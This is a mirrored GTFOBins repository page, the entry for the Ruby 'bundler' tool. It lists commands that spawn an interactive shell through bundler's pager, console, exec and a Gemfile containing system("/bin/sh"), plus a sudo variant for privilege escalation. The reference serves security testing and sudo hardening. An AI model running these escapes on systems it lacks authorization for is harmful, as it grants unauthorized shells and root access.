1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/bundler.md
Andrea Cardaci eb37b4ae29 Add another bundler shell example
Related to #88.
2020-03-14 13:20:54 +01:00

927 B

functions
shell sudo
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/man/), other functions may apply. bundler help !/bin/sh
code
export BUNDLE_GEMFILE=x bundler exec /bin/sh
code
TF=$(mktemp -d) touch $TF/Gemfile cd $TF bundler exec /bin/sh
description code
This spawns an interactive shell via [`irb`](/gtfobins/irb/). TF=$(mktemp -d) touch $TF/Gemfile cd $TF bundler console system('/bin/sh -c /bin/sh')
code
TF=$(mktemp -d) echo 'system("/bin/sh")' > $TF/Gemfile cd $TF bundler install
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/man/), other functions may apply. sudo bundler help !/bin/sh